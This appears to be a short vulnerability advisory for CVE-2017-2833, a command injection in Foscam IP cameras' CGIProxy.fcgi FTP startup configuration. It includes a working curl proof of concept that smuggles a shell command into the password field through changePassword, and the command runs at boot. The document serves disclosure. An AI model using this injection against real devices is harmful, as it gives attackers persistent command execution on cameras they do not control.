Foscam IP Video Camera CGIProxy.fcgi FTP Startup Configuration Command Injection Vulnerability(CVE-2017-2833)

                                                This vulnerability is reachable during the boot process. To trigger it, a command injection must be placed either in the username or in password field of the account. This can be done by the "changePassword" command, which requires a valid user account to change the password for:
```
$ sUsr="admin"
$ sPwd=""
$ sNewPwd=`perl -MURI::Escape -e 'print uri_escape(";echo y>/tmp/www/injected.txt")'`
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=changePassword&usrName=${sUsr}&oldPwd=${sPwd}&newPwd=${sNewPwd}"
```
The device should then be rebooted using other means, and the command will be executed upon boot. Note that any command that alters username and password can be used, for example the "addAccount" command.